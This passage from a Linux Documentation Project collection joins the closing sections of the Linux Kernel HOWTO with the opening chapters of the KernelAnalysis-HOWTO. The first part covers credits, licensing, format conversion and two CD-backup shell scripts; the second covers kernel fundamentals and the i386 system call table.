uc@brian.lunetix.de (Ulrich Callmeier): patch -s and xargs.

quinlan@yggdrasil.com (Daniel Quinlan): corrections and additions in many sections.

nat@nat@nataa.fr.eu.org (Nat Makarevitch): mrproper, tar -p, many other things

boldt@math.ucsb.edu (Axel Boldt): collected descriptions of kernel configuration options on the net; then provided me with the list

lembark@wrkhors.psyber.com (Steve Lembark): multiple boot suggestion

kbriggs@earwax.pd.uwa.edu.au (Keith Briggs): some corrections and suggestions

rmcguire@freenet.columbus.oh.us (Ryan McGuire): makeables additions

dumas@excalibur.ibp.fr (Eric Dumas): French translation

simazaki@ab11.yamanashi.ac.jp (Yasutada Shimazaki): Japanese translation

jjamor@lml.ls.fi.upm.es (Juan Jose Amor Iglesias): Spanish translation

mva@sbbs.se (Martin Wahlen): Swedish translation

jzp1218@stud.u-szeged.hu (Zoltan Vamosi): Hungarian translation

bart@mat.uni.torun.pl (Bartosz Maruszewski): Polish translation

donahue@tiber.nist.gov (Michael J Donahue): typos, winner of the ``sliced bread competition''

rms@gnu.ai.mit.edu (Richard Stallman): ``free'' documentation concept/distribution notice

dak@Pool.Informatik.RWTH-Aachen.DE (David Kastrup): NFS thing

esr@snark.thyrsus.com (Eric Raymond): various tidbits

The people who have sent me mail with questions and problems have also been quite helpful.

13.4 Copyright notice, License, and all that stuff

Copyright © Brian Ward, 1994-1999.

Permission is granted to make and distribute copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the derived work is distributed under the terms of a permission notice identical to this one. Translations fall under the catagory of ``modified versions.''

Warranty: None.

Recommendations: Commercial redistribution is allowed and encouraged; however, it is strongly recommended that the redistributor contact the author before the redistribution, in the interest of keeping things up-to-date (you could send me a copy of the thing you're making while you're at it). Translators are also advised to contact the author before translating. The printed version looks nicer. Recycle.


The Linux Kernel HOWTO: Other Formats of this Document

 Next Previous Contents

14. Other Formats of this Document

This section is written by Al Dev (at site http://www.milkywaygalaxy.freeservers.com mirrors at angelfire, geocities, virtualave, Fortunecity, Freewebsites, Tripod, 101xs, 50megs )

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

14.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

14.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

14.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

14.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


The Linux Kernel HOWTO: Appendix A - cdrecord.sh

 Next Previous Contents

15. Appendix A - cdrecord.sh

This is shell script to do backup on CDROM and is used in the chapter Quick Steps of this document. This script is taken from CD-Writing-HOWTO

#!/bin/sh

# Filename: cdrecord.sh

test `whoami` = 'root' || echo "You must be root to execute the commands."
cdrecord -scanbus > /dev/null
if ! (pidof kerneld || test -f "/proc/sys/kernel/modprobe"); then
        echo "Neither kerneld nor kmod are running to automatically load modules".
fi
report_no_autoload() {
        echo "Ensure the module $1 is loaded automatically next time."
}
if test ! -f "/proc/scsi/scsi"; then
        report_no_autoload scsi_mod  &&  insmod scsi_mod
fi
if ! grep "^........ sg_" /proc/ksyms > /dev/null; then
        report_no_autoload sg  &&  insmod sg
fi
if ! grep "^........ sr_" /proc/ksyms > /dev/null; then
        report_no_autoload sr_mod  &&  insmod sr_mod
fi
if ! grep "^........ loop_" /proc/ksyms > /dev/null; then
        report_no_autoload loop  &&  insmod loop
fi
if ! grep iso9660 /proc/filesystems > /dev/null; then
        report_no_autoload iso9660  &&  insmod iso9660
fi
echo "The following is only needed for IDE/ATAPI CD-writers."
if ! grep ide-scsi /proc/ide/drivers > /dev/null; then
        report_no_autoload ide-scsi  &&  insmod ide-scsi
fi
cdrecord -scanbus


The Linux Kernel HOWTO: Appendix B - path-list.sh

 Next Previous Contents

16. Appendix B - path-list.sh

This is shell script to do backup on CDROM and is used in the chapter Quick Steps of this document.

#!/bin/sh

# Author: Al Dev  EMail: alavoor@yahoo.com
# Copyright Al Dev, License : GNU/GPL
# Filename: path-list.sh

# Program to back a large partition > 650 MB over
# several cdrom blanks by splitting into chunks.
# This program will create a list of filenames which can be input
# to mkisofs command's -path-list option. See 'man mkisofs'.

DIRNAME=""
while :
do
        if [ "$DIRNAME" != "" ];  then
                if [ ! -d $DIRNAME ]; then
                        echo "******"
                        echo "****** Wrong entry: Directory does not exist. Try again"
                        echo "******"
                else
                        break;
                fi
        fi
        echo " "
        echo "Please enter the directory name which you want to"
        echo "backup to multiple cdrom blanks."
        echo "Also make sure you have write/read permissions in that directory."
        echo "Enter with leading slash, for example, "
        echo -n "something like /backups/usr-partition : "
        read DIRNAME
done

OUTFILE="path-list.txt"

# Serious problems is - mkisofs complains and gives errors on
# directories and links (because of duplicate listing).
# Hence, soft/hard links need to be removed when doing mkisofs command
# Work around for soft links: Tar all the soft links to
# a file called Softlinks.tgz and then backup this file
tar zcvf $DIRNAME/Softlinks.tgz ` find $DIRNAME -type l `

if [ ! -f $DIRNAME/Softlinks.tgz ]; then
        echo " "
        echo "****************************************************************"
        echo "FATAL ERROR: Enable to create the file $DIRNAME/Softlinks.tgz"
        echo "May be you do not have read/write permissions in $DIRNAME"
        echo "****************************************************************"
        echo " "
        exit
fi

# Avoid directories and links

find $DIRNAME -type f -printf "%s %p\n" > $OUTFILE
find $DIRNAME -type b -printf "%s %p\n"  >> $OUTFILE
find $DIRNAME -type c -printf "%s %p\n"  >> $OUTFILE
find $DIRNAME -type p -printf "%s %p\n"  >> $OUTFILE
find $DIRNAME -type s -printf "%s %p\n"  >> $OUTFILE

TOTALSIZE=0
FILECOUNTER=1
rm -f CDROM-BACKUP*.txt
rm -f "CDROM-BACKUP"$FILECOUNTER".txt"

cat "$OUTFILE" |
while read LINE
do
        SIZE=`echo $LINE | cut -d' ' -f1 `
        #echo SIZE $SIZE
        FILENAME=`echo $LINE | cut -d' ' -f2 `
        TOTALSIZE=$(( $SIZE + $TOTALSIZE ))
        #echo TOTALSIZE $TOTALSIZE

        # If greater than 650 MB then switch to new group file
        # Do upto 649 MB = 649 * 1024 * 1024 = 680525824
        if [ $TOTALSIZE -gt 680525824 ]; then
                FILECOUNTER=$(( $FILECOUNTER + 1 ))
                TOTALSIZE=0
                rm -f "CDROM-BACKUP"$FILECOUNTER".txt"
        fi
        echo $FILENAME >> "CDROM-BACKUP"$FILECOUNTER".txt"
        #echo $FILENAME
done

rm "$OUTFILE"

echo " "
echo "********************************* "
echo " Load a new CDROM blank and do :
nice --20 mkisofs -R -path-list CDROM-BACKUP1.txt | cdrecord -v fs=40m speed=2 dev=0,0 -
Load next CDROM blank
nice --20 mkisofs -R -path-list CDROM-BACKUP2.txt | cdrecord -v fs=40m speed=2 dev=0,0 -
Load next CDROM blank
nice --20 mkisofs -R -path-list CDROM-BACKUP3.txt | cdrecord -v fs=40m speed=2 dev=0,0 - "
echo "********************************* "


KernelAnalysis-HOWTO

Roberto Arcomano

v0.60, May 9 2002

This document tries to explain some things about the Linux Kernel, such as the most important components, how they work, and so on. This HOWTO should help prevent the reader from needing to browse all the kernel source files searching for the"right function," declaration, and definition, and then linking each to the other. You can find the latest version of this document at http://bertolinux.fatamorgana.com If you have suggestions to help make this document better, please submit your ideas to me at the following address: berto@fatamorgana.com

1. Introduction

  • 1.1 Introduction
  • 1.2 Copyright
  • 1.3 Translations
  • 1.4 Credits

2. Syntax used

  • 2.1 Function Syntax
  • 2.2 Indentation
  • 2.3 InterCallings Analysis

3. Fundamentals

  • 3.1 What is the kernel?
  • 3.2 What is the difference between User Mode and Kernel Mode?
  • 3.3 Switching from User Mode to Kernel Mode
  • 3.4 Multitasking
  • 3.5 Microkernel vs Monolithic OS
  • 3.6 Networking
  • 3.7 Virtual Memory

4. Linux Startup

5. Linux Peculiarities

  • 5.1 Overview
  • 5.2 Pagination only
  • 5.3 Softirq
  • 5.4 Kernel Threads
  • 5.5 Kernel Modules
  • 5.6 Proc directory

6. Linux Multitasking

  • 6.1 Overview
  • 6.2 Timeslice
  • 6.3 Scheduler
  • 6.4 Bottom Half, Task Queues. and Tasklets
  • 6.5 Very low level routines
  • 6.6 Task Switching
  • 6.7 Fork

7. Linux Memory Management

  • 7.1 Overview
  • 7.2 Specific i386 implementation
  • 7.3 Memory Mapping
  • 7.4 Low level memory allocation
  • 7.5 Swap

8. Linux Networking

  • 8.1 How Linux networking is managed?
  • 8.2 TCP example

9. Linux File System

10. Useful Tips

  • 10.1 Stack and Heap
  • 10.2 Application vs Process
  • 10.3 Locks
  • 10.4 Copy_on_write

11. 80386 specific details

  • 11.1 Boot procedure
  • 11.2 80386 (and more) Descriptors

12. IRQ

  • 12.1 Overview
  • 12.2 Interaction schema

13. Utility functions

  • 13.1 list_entry [include/linux/list.h]
  • 13.2 Sleep

14. Static variables

  • 14.1 Overview
  • 14.2 Main variables

15. Glossary

16. Links


KernelAnalysis-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Introduction

This HOWTO tries to define how parts of the Linux Kernel work, what are the main functions and data structures used, and how the "wheel spins". You can find the latest version of this document at http://www.fatamorgana.com/bertolinux If you have suggestions to help make this document better, please submit your ideas to me at the following address: berto@fatamorgana.comCode used within this document refers to the Linux Kernel version 2.4.x, which is the last stable kernel version at time of writing this HOWTO.

1.2 Copyright

Copyright (C) 2000,2001,2002 Roberto Arcomano. This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You can get a copy of the GNU GPL here

1.3 Translations

If you want to translate this document you are free to do so. However, you will need to do the following:

  1. Check that another version of the document doesn't already exist at your local LDP
  2. Maintain all 'Introduction' sections (including 'Introduction', 'Copyright', 'Translations' , 'Credits').

No need to ask me to translate! You just have to let me know (if you want) about your translation.

Thank you for your translation!

1.4 Credits

Thanks to Linux Documentation Project for publishing and uploading my document quickly.


KernelAnalysis-HOWTO: Syntax used

 Next Previous Contents

2. Syntax used

2.1 Function Syntax

When speaking about a function, we write:

"function_name  [ file location . extension ]"

For example:

"schedule [kernel/sched.c]"

tells us that we talk about

"schedule"

function retrievable from file

[ kernel/sched.c ]

Note: We also assume /usr/src/linux as the starting directory.

2.2 Indentation

Indentation in source code is 3 blank characters.

2.3 InterCallings Analysis

Overview

We use the"InterCallings Analysis "(ICA) to see (in an indented fashion) how kernel functions call each other.

For example, the sleep_on command is described in ICA below:

|sleep_on
|init_waitqueue_entry      --
|__add_wait_queue            |   enqueuing request
   |list_add                 |
      |__list_add          --
   |schedule              ---     waiting for request to be executed
      |__remove_wait_queue --
      |list_del              |   dequeuing request
         |__list_del       --

                          sleep_on ICA

The indented ICA is followed by functions' locations:

  • sleep_on [kernel/sched.c]
  • init_waitqueue_entry [include/linux/wait.h]
  • __add_wait_queue
  • list_add [include/linux/list.h]
  • __list_add
  • schedule [kernel/sched.c]
  • __remove_wait_queue [include/linux/wait.h]
  • list_del [include/linux/list.h]
  • __list_del

Note: We don't specify anymore file location, if specified just before.

Details

In an ICA a line like looks like the following

 function1 -> function2

means that < function1 > is a generic pointer to another function. In this case < function1 > points to < function2 >.

When we write:

  function:

it means that < function > is not a real function. It is a label (typically assembler label).

In many sections we may report a ''C'' code or a ''pseudo-code''. In real source files, you could use ''assembler'' or ''not structured'' code. This difference is for learning purposes.

PROs of using ICA

The advantages of using ICA (InterCallings Analysis) are many:

  • You get an overview of what happens when you call a kernel function
  • Function locations are indicated after the function, so ICA could also be considered as a little ''function reference''
  • InterCallings Analysis (ICA) is useful in sleep/awake mechanisms, where we can view what we do before sleeping, the proper sleeping action, and what we'll do after waking up (after schedule).

CONTROs of using ICA

  • Some of the disadvantages of using ICA are listed below:

As all theoretical models, we simplify reality avoiding many details, such as real source code and special conditions.

  • Additional diagrams should be added to better represent stack conditions, data values, and so on.


KernelAnalysis-HOWTO: Fundamentals

 Next Previous Contents

3. Fundamentals

3.1 What is the kernel?

The kernel is the "core" of any computer system: it is the "software" which allows users to share computer resources.

The kernel can be thought ofas the main software of the OS (Operating System), which may also include graphics management.

For example, under Linux (like other Unix-like OSs), the XWindow environment doesn't belong to the Linux Kernel, because it manages only graphical operations (it uses user mode I/O to access video card devices).

By contrast, Windows environments (Win9x, WinME, WinNT, Win2K, WinXP, and so on) are a mix between a graphical environment and kernel.

3.2 What is the difference between User Mode and Kernel Mode?

Overview

Many years ago, when computers were as big as a room, users ran their applications with much difficulty and, sometimes, their applications crashed the computer.

Operative modes

To avoid having applications that constantly crashed, newer OSs were designed with 2 different operative modes:

  1. Kernel Mode: the machine operates with critical data structure, direct hardware (IN/OUT or memory mapped), direct memory, IRQ, DMA, and so on.
  2. User Mode: users can run applications.

               |          Applications           /|\
               |         ______________           |
               |         | User Mode  |           |
               |         ______________           |
               |               |                  |
Implementation |        _______ _______           |   Abstraction
    Detail     |        | Kernel Mode |           |
               |        _______________           |
               |               |                  |
               |               |                  |
               |               |                  |
              \|/          Hardware               |

Kernel Mode "prevents" User Mode applications from damaging the system or its features.

Modern microprocessors implement in hardware at least 2 different states. For example under Intel, 4 states determine the PL (Privilege Level). It is possible to use 0,1,2,3 states, with 0 used in Kernel Mode.

Unix OS requires only 2 privilege levels, and we will use such a paradigm as point of reference.

3.3 Switching from User Mode to Kernel Mode

When do we switch?

Once we understand that there are 2 different modes, we have to know when we switch from one to the other.

Typically, there are 2 points of switching:

  1. When calling a System Call: after calling a System Call, the task voluntary calls pieces of code living in Kernel Mode
  2. When an IRQ (or exception) comes: after the IRQ an IRQ handler (or exception handler) is called, then control returns back to the task that was interrupted like nothing was happened.

System Calls

System calls are like special functions that manage OS routines which live in Kernel Mode.

A system call can be called when we:

  • access an I/O device or a file (like read or write)
  • need to access privileged information (like pid, changing scheduling policy or other information)
  • need to change execution context (like forking or executing some other application)
  • need to execute a particular command (like ''chdir'', ''kill", ''brk'', or ''signal'')

                                 |                |
                         ------->| System Call i  | (Accessing Devices)
|                |       |       |  [sys_read()]  |
| ...            |       |       |                |
| system_call(i) |--------       |                |
|   [read()]     |               |                |
| ...            |               |                |
| system_call(j) |--------       |                |
|   [get_pid()]  |       |       |                |
| ...            |       ------->| System Call j  | (Accessing kernel data structures)
|                |               |  [sys_getpid()]|
                                 |                |

    USER MODE                        KERNEL MODE

                        Unix System Calls Working

System calls are almost the only interface used by User Mode to talk with low level resources (hardware). The only exception to this statement is when a process uses ''ioperm'' system call. In this case a device can be accessed directly by User Mode process (IRQs cannot be used).

NOTE: Not every ''C'' function is a system call, only some of them.

Below is a list of System Calls under Linux Kernel 2.4.17, from [ arch/i386/kernel/entry.S ]

        .long SYMBOL_NAME(sys_ni_syscall)       /* 0  -  old "setup()" system call*/
        .long SYMBOL_NAME(sys_exit)
        .long SYMBOL_NAME(sys_fork)
        .long SYMBOL_NAME(sys_read)
        .long SYMBOL_NAME(sys_write)
        .long SYMBOL_NAME(sys_open)             /* 5 */
        .long SYMBOL_NAME(sys_close)
        .long SYMBOL_NAME(sys_waitpid)
        .long SYMBOL_NAME(sys_creat)
        .long SYMBOL_NAME(sys_link)
        .long SYMBOL_NAME(sys_unlink)           /* 10 */
        .long SYMBOL_NAME(sys_execve)
        .long SYMBOL_NAME(sys_chdir)
        .long SYMBOL_NAME(sys_time)
        .long SYMBOL_NAME(sys_mknod)
        .long SYMBOL_NAME(sys_chmod)            /* 15 */
        .long SYMBOL_NAME(sys_lchown16)
        .long SYMBOL_NAME(sys_ni_syscall)                               /* old break syscall holder */
        .long SYMBOL_NAME(sys_stat)
        .long SYMBOL_NAME(sys_lseek)
        .long SYMBOL_NAME(sys_getpid)           /* 20 */
        .long SYMBOL_NAME(sys_mount)
        .long SYMBOL_NAME(sys_oldumount)
        .long SYMBOL_NAME(sys_setuid16)
        .long SYMBOL_NAME(sys_getuid16)
        .long SYMBOL_NAME(sys_stime)            /* 25 */
        .long SYMBOL_NAME(sys_ptrace)
        .long SYMBOL_NAME(sys_alarm)
        .long SYMBOL_NAME(sys_fstat)
        .long SYMBOL_NAME(sys_pause)
        .long SYMBOL_NAME(sys_utime)            /* 30 */
        .long SYMBOL_NAME(sys_ni_syscall)                               /* old stty syscall holder */
        .long SYMBOL_NAME(sys_ni_syscall)                               /* old gtty syscall holder */
        .long SYMBOL_NAME(sys_access)
        .long SYMBOL_NAME(sys_nice)
        .long SYMBOL_NAME(sys_ni_syscall)       /* 35 */                /* old ftime syscall holder */
        .long SYMBOL_NAME(sys_sync)
        .long SYMBOL_NAME(sys_kill)
        .long SYMBOL_NAME(sys_rename)
        .long SYMBOL_NAME(sys_mkdir)
        .long SYMBOL_NAME(sys_rmdir)            /* 40 */
        .long SYMBOL_NAME(sys_dup)
        .long SYMBOL_NAME(sys_pipe)
        .long SYMBOL_NAME(sys_times)
        .long SYMBOL_NAME(sys_ni_syscall)                               /* old prof syscall holder */
        .long SYMBOL_NAME(sys_brk)              /* 45 */
        .long SYMBOL_NAME(sys_setgid16)
        .long SYMBOL_NAME(sys_getgid16)
        .long SYMBOL_NAME(sys_signal)
        .long SYMBOL_NAME(sys_geteuid16)
        .long SYMBOL_NAME(sys_getegid16)        /* 50 */
        .long SYMBOL_NAME(sys_acct)
        .long SYMBOL_NAME(sys_umount)                                   /* recycled never used phys() */
        .long SYMBOL_NAME(sys_ni_syscall)                               /* old lock syscall holder */
        .long SYMBOL_NAME(sys_ioctl)
        .long SYMBOL_NAME(sys_fcntl)            /* 55 */
        .long SYMBOL_NAME(sys_ni_syscall)                               /* old mpx syscall holder */
        .long SYMBOL_NAME(sys_setpgid)
        .long SYMBOL_NAME(sys_ni_syscall)                               /* old ulimit syscall holder */
        .long SYMBOL_NAME(sys_olduname)
        .long SYMBOL_NAME(sys_umask)            /* 60 */
        .long SYMBOL_NAME(sys_chroot)
        .long SYMBOL_NAME(sys_ustat)
        .long SYMBOL_NAME(sys_dup2)
        .long SYMBOL_NAME(sys_getppid)
        .long SYMBOL_NAME(sys_getpgrp)          /* 65 */
        .long SYMBOL_NAME(sys_setsid)
        .long SYMBOL_NAME(sys_sigaction)
        .long SYMBOL_NAME(sys_sgetmask)
        .long SYMBOL_NAME(sys_ssetmask)
        .long SYMBOL_NAME(sys_setreuid16)       /* 70 */
        .long SYMBOL_NAME(sys_setregid16)
        .long SYMBOL_NAME(sys_sigsuspend)
        .long SYMBOL_NAME(sys_sigpending)
        .long SYMBOL_NAME(sys_sethostname)
        .long SYMBOL_NAME(sys_setrlimit)        /* 75 */
        .long SYMBOL_NAME(sys_old_getrlimit)
        .long SYMBOL_NAME(sys_getrusage)
        .long SYMBOL_NAME(sys_gettimeofday)
        .long SYMBOL_NAME(sys_settimeofday)
        .long SYMBOL_NAME(sys_getgroups16)      /* 80 */
        .long SYMBOL_NAME(sys_setgroups16)
        .long SYMBOL_NAME(old_select)
        .long SYMBOL_NAME(sys_symlink)
        .long SYMBOL_NAME(sys_lstat)
        .long SYMBOL_NAME(sys_readlink)         /* 85 */
        .long SYMBOL_NAME(sys_uselib)
        .long SYMBOL_NAME(sys_swapon)
        .long SYMBOL_NAME(sys_reboot)
        .long SYMBOL_NAME(old_readdir)
        .long SYMBOL_NAME(old_mmap)             /* 90 */
        .long SYMBOL_NAME(sys_munmap)
        .long SYMBOL_NAME(sys_truncate)
        .long SYMBOL_NAME(sys_ftruncate)
        .long SYMBOL_NAME(sys_fchmod)
        .long SYMBOL_NAME(sys_fchown16)         /* 95 */
        .long SYMBOL_NAME(sys_getpriority)
        .long SYMBOL_NAME(sys_setpriority)
        .long SYMBOL_NAME(sys_ni_syscall)                               /* old profil syscall holder */
        .long SYMBOL_NAME(sys_statfs)
        .long SYMBOL_NAME(sys_fstatfs)          /* 100 */
        .long SYMBOL_NAME(sys_ioperm)
        .long SYMBOL_NAME(sys_socketcall)
        .long SYMBOL_NAME(sys_syslog)
        .long SYMBOL_NAME(sys_setitimer)
        .long SYMBOL_NAME(sys_getitimer)        /* 105 */
        .long SYMBOL_NAME(sys_newstat)
        .long SYMBOL_NAME(sys_newlstat)
        .long SYMBOL_NAME(sys_newfstat)
        .long SYMBOL_NAME(sys_uname)
        .long SYMBOL_NAME(sys_iopl)             /* 110 */
        .long SYMBOL_NAME(sys_vhangup)
        .long SYMBOL_NAME(sys_ni_syscall)       /* old "idle" system call */
        .long SYMBOL_NAME(sys_vm86old)
        .long SYMBOL_NAME(sys_wait4)
        .long SYMBOL_NAME(sys_swapoff)          /* 115 */
        .long SYMBOL_NAME(sys_sysinfo)
        .long SYMBOL_NAME(sys_ipc)
        .long SYMBOL_NAME(sys_fsync)
        .long SYMBOL_NAME(sys_sigreturn)
        .long SYMBOL_NAME(sys_clone)            /* 120 */
        .long SYMBOL_NAME(sys_setdomainname)
        .long SYMBOL_NAME(sys_newuname)
        .long SYMBOL_NAME(sys_modify_ldt)
        .long SYMBOL_NAME(sys_adjtimex)
        .long SYMBOL_NAME(sys_mprotect)         /* 125 */
        .long SYMBOL_NAME(sys_sigprocmask)
        .long SYMBOL_NAME(sys_create_module)
        .long SYMBOL_NAME(sys_init_module)
        .long SYMBOL_NAME(sys_delete_module)
        .long SYMBOL_NAME(sys_get_kernel_syms)  /* 130 */
        .long SYMBOL_NAME(sys_quotactl)
        .long SYMBOL_NAME(sys_getpgid)
        .long SYMBOL_NAME(sys_fchdir)
        .long SYMBOL_NAME(sys_bdflush)
        .long SYMBOL_NAME(sys_sysfs)            /* 135 */
        .long SYMBOL_NAME(sys_personality)
        .long SYMBOL_NAME(sys_ni_syscall)       /* for afs_syscall */
        .long SYMBOL_NAME(sys_setfsuid16)
        .long SYMBOL_NAME(sys_setfsgid16)
        .long SYMBOL_NAME(sys_llseek)           /* 140 */
        .long SYMBOL_NAME(sys_getdents)
        .long SYMBOL_NAME(sys_select)
        .long SYMBOL_NAME(sys_flock)
        .long SYMBOL_NAME(sys_msync)
        .long SYMBOL_NAME(sys_readv)            /* 145 */
        .long SYMBOL_NAME(sys_writev)
        .long SYMBOL_NAME(sys_getsid)
        .long SYMBOL_NAME(sys_fdatasync)
        .long SYMBOL_NAME(sys_sysctl)
        .long SYMBOL_NAME(sys_mlock)            /* 150 */
        .long SYMBOL_NAME(sys_munlock)
        .long SYMBOL_NAME(sys_mlockall)
        .long SYMBOL_NAME(sys_munlockall)
        .long SYMBOL_NAME(sys_sched_setparam)
        .long SYMBOL_NAME(sys_sched_getparam)   /* 155 */
        .long SYMBOL_NAME(sys_sched_setscheduler)
        .long SYMBOL_NAME(sys_sched_getscheduler)
        .long SYMBOL_NAME(sys_sched_yield)
        .long SYMBOL_NAME(sys_sched_get_priority_max)
        .long SYMBOL_NAME(sys_sched_get_priority_min)  /* 160 */
        .long SYMBOL_NAME(sys_sched_rr_get_interval)
        .long SYMBOL_NAME(sys_nanosleep)
        .long SYMBOL_NAME(sys_mremap)
        .long SYMBOL_NAME(sys_setresuid16)
        .long SYMBOL_NAME(sys_getresuid16)      /* 165 */
        .long SYMBOL_NAME(sys_vm86)
        .long SYMBOL_NAME(sys_query_module)
        .long SYMBOL_NAME(sys_poll)
        .long SYMBOL_NAME(sys_nfsservctl)
        .long SYMBOL_NAME(sys_setresgid16)      /* 170 */
        .long SYMBOL_NAME(sys_getresgid16)
        .long SYMBOL_NAME(sys_prctl)
        .long SYMBOL_NAME(sys_rt_sigreturn)
        .long SYMBOL_NAME(sys_rt_sigaction)
        .long SYMBOL_NAME(sys_rt_sigprocmask)   /* 175 */
        .long SYMBOL_NAME(sys_rt_sigpending)
        .long SYMBOL_NAME(sys_rt_sigtimedwait)
        .long SYMBOL_NAME(sys_rt_sigqueueinfo)
        .long SYMBOL_NAME(sys_rt_sigsuspend)
        .long SYMBOL_NAME(sys_pread)            /* 180 */
        .long SYMBOL_NAME(sys_pwrite)
        .long SYMBOL_NAME(sys_chown16)
        .long SYMBOL_NAME(sys_getcwd)
        .long SYMBOL_NAME(sys_capget)
        .long SYMBOL_NAME(sys_capset)           /* 185 */
        .long SYMBOL_NAME(sys_sigaltstack)
        .long SYMBOL_NAME(sys_sendfile)
        .long SYMBOL_NAME(sys_ni_syscall)               /* streams1 */
        .long SYMBOL_NAME(sys_ni_syscall)               /* streams2 */
        .long SYMBOL_NAME(sys_vfork)            /* 190 */
        .long SYMBOL_NAME(sys_getrlimit)
        .long SYMBOL_NAME(sys_mmap2)
        .long SYMBOL_NAME(sys_truncate64)
        .long SYMBOL_NAME(sys_ftruncate64)
        .long SYMBOL_NAME(sys_stat64)           /* 195 */
        .long SYMBOL_NAME(sys_lstat64)
        .long SYMBOL_NAME(sys_fstat64)
        .long SYMBOL_NAME(sys_lchown)
        .long SYMBOL_NAME(sys_getuid)
        .long SYMBOL_NAME(sys_getgid)           /* 200 */
        .long SYMBOL_NAME(sys_geteuid)
        .long SYMBOL_NAME(sys_getegid)
        .long SYMBOL_NAME(sys_setreuid)
        .long SYMBOL_NAME(sys_setregid)
        .long SYMBOL_NAME(sys_getgroups)        /* 205 */
        .long SYMBOL_NAME(sys_setgroups)
        .long SYMBOL_NAME(sys_fchown)
        .long SYMBOL_NAME(sys_setresuid)
        .long SYMBOL_NAME(sys_getresuid)
